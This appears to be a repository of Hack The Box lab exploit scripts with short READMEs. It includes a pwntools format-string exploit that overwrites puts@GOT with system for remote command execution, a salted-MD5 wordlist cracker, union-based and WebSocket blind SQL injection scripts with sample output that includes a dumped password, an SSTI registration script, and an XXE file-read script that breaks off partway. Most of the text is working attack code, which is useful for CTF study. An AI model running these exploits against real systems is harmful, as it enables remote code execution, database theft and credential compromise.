10 | 11 | The [write-up](https://7rocky.github.io/en/htb/rope/#buffer-overflow-exploitation) provides the needed information to exploit the Buffer Overflow vulnerability of the corresponding binary. 12 | -------------------------------------------------------------------------------- /Machines/Rope/fmtstr_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, ELF, fmtstr_payload, log, remote, sys 4 | 5 | context.binary = elf = ELF('httpserver') 6 | glibc = ELF('libc-2.27.so', checksec=False) 7 | 8 | host = '10.10.10.148' 9 | 10 | 11 | def url_encode(url: bytes) -> bytes: 12 | return b'%' + '%'.join(hex(byte)[2:] for byte in url).encode() 13 | 14 | 15 | def get_base_addresses() -> (int, int): 16 | http = remote(host, 9999) 17 | http.sendline(b'GET //proc/self/maps HTTP/1.1/\nRange: bytes=0-10000\n') 18 | http.recvuntil(b'\r\n\r\n') 19 | 20 | elf_base_address = int(http.recvuntil(b'-')[:-1].decode(), 16) 21 | 22 | http.recvuntil(b'[heap]') 23 | http.recvline() 24 | glibc_base_address = int(http.recvuntil(b'-')[:-1].decode(), 16) 25 | http.close() 26 | 27 | return elf_base_address, glibc_base_address 28 | 29 | 30 | def main(): 31 | if len(sys.argv) == 1: 32 | log.error(f"Usage: python3 {sys.argv[0]} ''") 33 | 34 | elf.address, glibc.address = get_base_addresses() 35 | log.info(f'ELF base address: {hex(elf.address)}') 36 | log.info(f'Glibc base address: {hex(glibc.address)}') 37 | 38 | command = sys.argv[1].replace(' ', '${IFS}').encode() 39 | 40 | payload = url_encode(fmtstr_payload(53, { 41 | elf.got.puts: glibc.sym.system 42 | })) 43 | 44 | http = remote(host, 9999) 45 | http.sendline(command + b' /' + payload + b' HTTP/1.1\n') 46 | http.close() 47 | 48 | 49 | if __name__ == '__main__': 50 | main() 51 | -------------------------------------------------------------------------------- /Machines/Scanned/crack.go: -------------------------------------------------------------------------------- 1 | //usr/bin/env go run $0 $@; exit $? 2 | 3 | package main 4 | 5 | import ( 6 | "bufio" 7 | "fmt" 8 | "os" 9 | "strings" 10 | 11 | "crypto/md5" 12 | ) 13 | 14 | func crack(salt, password string) string { 15 | return fmt.Sprintf("%x", md5.Sum([]byte(salt+password))) 16 | } 17 | 18 | func main() { 19 | if len(os.Args) != 3 { 20 | fmt.Println("Usage: go run crack.go ") 21 | os.Exit(1) 22 | } 23 | 24 | full_hash := os.Args[2] 25 | splitted_hash := strings.Split(full_hash, "$") 26 | alg, salt, hash := splitted_hash[0], splitted_hash[1], splitted_hash[2] 27 | 28 | fmt.Printf("[*] Algorithm: \t %s\n", alg) 29 | fmt.Printf("[*] Salt: \t %s\n", salt) 30 | fmt.Printf("[*] Hash: \t %s\n\n", hash) 31 | 32 | file, err := os.Open(os.Args[1]) 33 | 34 | if err != nil { 35 | fmt.Printf("File '%s' not found\n", os.Args[1]) 36 | } 37 | 38 | defer file.Close() 39 | 40 | scanner := bufio.NewScanner(file) 41 | 42 | for scanner.Scan() { 43 | password := scanner.Text() 44 | 45 | if crack(salt, password) == hash { 46 | fmt.Println("[+] Cracked:", password) 47 | break 48 | } 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /Machines/Shared/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Machines. Shared 2 | 3 | Machine write-up: https://7rocky.github.io/en/htb/shared 4 | 5 | ### `sqli.js` 6 | 7 | This script built in Node.js is used to exploit a Union-based SQLi. The injection comes into place in a cookie called `custom_cart`, where we have a JSON document that is URL encoded. 8 | 9 | This is the main function (`sqli`): 10 | 11 | ```js 12 | const sqli = payload => { 13 | payload = encodeURIComponent(JSON.stringify({ [payload]: 1 })) 14 | 15 | const headers = { 16 | Cookie: `custom_cart=${payload}`, 17 | Host: 'checkout.shared.htb' 18 | } 19 | 20 | const req = https.request({...options, headers}, res => { 21 | let body = '' 22 | 23 | res.on('data', data => (body += data)) 24 | res.on('end', () => console.log(parseBody(body))) 25 | }) 26 | 27 | req.on('error', console.error) 28 | req.end() 29 | } 30 | ``` 31 | 32 | The response body is parsed using a regular expression: 33 | 34 | ```js 35 | const parseBody = body => body.match(/([\s\S]*?)<\/td>/)[1] 36 | ``` 37 | 38 | To use the script, we need to add the SQLi payload as a command line argument: 39 | 40 | ```js 41 | if (process.argv.length !== 3) { 42 | console.error('Usage: node sqli.js ""') 43 | process.exit(1) 44 | } 45 | 46 | sqli(process.argv[2]) 47 | ``` 48 | 49 | This is an example of usage: 50 | 51 | ```console 52 | $ node sqli.js "' union select 1,database(),3-- -" 53 | checkout 54 | 55 | $ node sqli.js "' union select 1,user(),3-- -" 56 | checkout@localhost 57 | 58 | $ node sqli.js "' union select 1,version(),3-- -" 59 | 10.5.15-MariaDB-0+deb11u1 60 | ``` 61 | -------------------------------------------------------------------------------- /Machines/Shared/sqli.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | const https = require('https') 4 | 5 | const options = { hostname: '10.10.11.172', rejectUnauthorized: false } 6 | 7 | const parseBody = body => body.match(/([\s\S]*?)<\/td>/)[1] 8 | 9 | const sqli = payload => { 10 | payload = encodeURIComponent(JSON.stringify({ [payload]: 1 })) 11 | 12 | const headers = { 13 | Cookie: `custom_cart=${payload}`, 14 | Host: 'checkout.shared.htb' 15 | } 16 | 17 | const req = https.request({...options, headers}, res => { 18 | let body = '' 19 | 20 | res.on('data', data => (body += data)) 21 | res.on('end', () => console.log(parseBody(body))) 22 | }) 23 | 24 | req.on('error', console.error) 25 | req.end() 26 | } 27 | 28 | if (process.argv.length !== 3) { 29 | console.error('Usage: node sqli.js ""') 30 | process.exit(1) 31 | } 32 | 33 | sqli(process.argv[2]) 34 | -------------------------------------------------------------------------------- /Machines/Soccer/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Machines. Soccer 2 | 3 | Machine write-up: https://7rocky.github.io/en/htb/soccer 4 | 5 | ### `websocket_sqli.py` 6 | 7 | This is an automated Python script that dumps the contents of the current MySQL database exploiting a Boolean-based blind SQL injection from a WebSocket server. The script is adapted from a previous one for [Writer](../Writer#sqlipy). 8 | 9 | Due to how WebSocket works, we can't use threads (at least not as we are used to). 10 | 11 | Appart from sockets and other minor fixes, the function that exploits the SQLi is different: 12 | 13 | ```python 14 | from websocket import create_connection 15 | 16 | ws = create_connection('ws://soc-player.soccer.htb:9091/ws') 17 | 18 | 19 | def do_sqli(payload: str) -> bool: 20 | ws.send(json.dumps({'id': f'1 or {payload}-- -'})) 21 | return ws.recv() == 'Ticket Exists' 22 | ``` 23 | 24 | The rest of the code is the same as the one for [Writer](../Writer#sqlipy), so read that explanation for more information on how th approach the exploit. 25 | 26 | The contents of the database can be obtained in a few minutes: 27 | 28 | ```console 29 | $ python3 websocket_sqli.py 30 | { 31 | "soccer_db": { 32 | "accounts": { 33 | "id": [ 34 | "1324" 35 | ], 36 | "email": [ 37 | "player@player.htb" 38 | ], 39 | "username": [ 40 | "player" 41 | ], 42 | "password": [ 43 | "PlayerOftheMatch2022" 44 | ] 45 | } 46 | } 47 | } 48 | 49 | Time: 143.27221393585205 s 50 | ``` 51 | -------------------------------------------------------------------------------- /Machines/Spider/ssti.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import re 4 | import requests 5 | import sys 6 | 7 | 8 | def main(): 9 | username = sys.argv[1] # Inject SSTI payload here 10 | 11 | if len(username) > 10: 12 | print('Username cannot be longer than 10 characters') 13 | sys.exit() 14 | 15 | password = 'asdf' 16 | 17 | data = { 18 | 'username': username, 19 | 'confirm_username': username, 20 | 'password': password, 21 | 'confirm_password': password 22 | } 23 | 24 | s = requests.session() 25 | r = s.post('http://spider.htb/register', data=data) 26 | 27 | try: 28 | uuid = re.search( 29 | r'', r.text).group(1) 30 | except AttributeError: 31 | print(r.text) 32 | sys.exit() 33 | 34 | s.post('http://spider.htb/login', 35 | data={'username': uuid, 'password': password}) 36 | r = s.get('http://spider.htb/user') 37 | 38 | try: 39 | result = re.search( 40 | r'', r.text).group(1) 41 | result = result.replace(''', "'").replace( 42 | '<', '<').replace('>', '>') 43 | print(result) 44 | except AttributeError: 45 | print(r.text) 46 | 47 | 48 | if __name__ == '__main__': 49 | main() 50 | -------------------------------------------------------------------------------- /Machines/Spider/xxe.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | file=$1 4 | 5 | data="username=BEGINTAG 6 | %26xxe; 7 | ENDTAG&version=1.33.7 --> 8 | ]> 9 |